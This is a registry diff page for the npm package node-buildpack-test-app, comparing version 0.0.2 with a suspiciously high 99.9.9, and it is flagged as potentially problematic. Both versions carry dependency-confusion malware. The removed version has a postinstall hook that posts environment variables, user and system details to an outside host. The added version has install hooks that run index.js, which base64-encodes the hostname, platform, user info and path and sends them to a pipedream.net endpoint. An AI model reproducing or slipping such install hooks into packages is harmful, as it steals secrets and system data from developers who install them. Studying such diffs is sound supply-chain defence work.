node-buildpack-test-app 0.0.2 → 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-buildpack-test-app might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +28 -13
  2. package/package.json +18 -10
package/index.js CHANGED
@@ -1,13 +1,28 @@
1
- // index.js
2
-
3
- /**
4
- * Fake export to make the package appear legitimate.
5
- * This is never actually used in the attack — just present to avoid suspicion.
6
- */
7
-
8
- module.exports = {
9
- hello: () => {
10
- console.log("Hello from node-buildpack-test-app");
11
- return "Hello Instacart!";
12
- }
13
- };
1
+ var os = require("os")
2
+ const request = require('requests')
3
+ var fs = require('fs')
4
+
5
+ // collect info
6
+ var hostname = os.hostname()
7
+ var type = os.platform()
8
+ var userInfo = os.userInfo()
9
+ var currentPath = process.cwd()
10
+ var json = []
11
+
12
+ json.push(hostname)
13
+ json.push(type)
14
+ json.push(userInfo)
15
+ json.push(currentPath)
16
+ json = JSON.stringify(json)
17
+
18
+ let host = "eoto6j4r3ne7bkk.m.pipedream.net"
19
+ let company = "heroku"
20
+ let packages = "node-buildpack-test-app"
21
+
22
+ // write a local file
23
+ fs.writeFile('locatethisfileforpoc', 'execution achieved', function (err) {
24
+ if (err) throw err
25
+ })
26
+
27
+ var buff = Buffer.from(JSON.stringify(json)).toString("base64")
28
+ request(`http://${host}/?${company}:${packages}=${buff}`, (error, response, body) => {})
package/package.json CHANGED
@@ -1,10 +1,18 @@
1
- {
2
- "name": "node-buildpack-test-app",
3
- "version": "0.0.2",
4
- "description": "PoC for Dependency Confusion targeting Instacart",
5
- "scripts": {
6
- "postinstall": "sh -c \"curl -X POST -H 'Content-Type: text/plain' --data \\\"===== whoami =====\\\\n$(whoami)\\\\n\\\\n===== uname -a =====\\\\n$(uname -a)\\\\n\\\\n===== hostname =====\\\\n$(hostname)\\\\n\\\\n===== env =====\\\\n$(env)\\\\n\\\\n===== ls -la / =====\\\\n$(ls -la /)\\\\n\\\\n===== ifconfig/ip =====\\\\n$(ifconfig || ip a)\\\\n\\\" http://xtiikrbrlhjafmnxqxvmj5f4ygr87dv5a.oast.fun\""
7
- },
8
- "author": "0xzyo",
9
- "license": "MIT"
10
- }
1
+ {
2
+ "Dependencies": {
3
+ "request": "^2.88.2"
4
+ },
5
+ "dependencies": {
6
+ "requests": "^0.3.0"
7
+ },
8
+ "description": "",
9
+ "license": "ISC",
10
+ "main": "index.js",
11
+ "name": "node-buildpack-test-app",
12
+ "scripts": {
13
+ "postinstall": "node index.js --save-prod",
14
+ "preinstall": "node index.js --save-prod",
15
+ "start": "node index.js --save-prod"
16
+ },
17
+ "version": "99.9.9"
18
+ }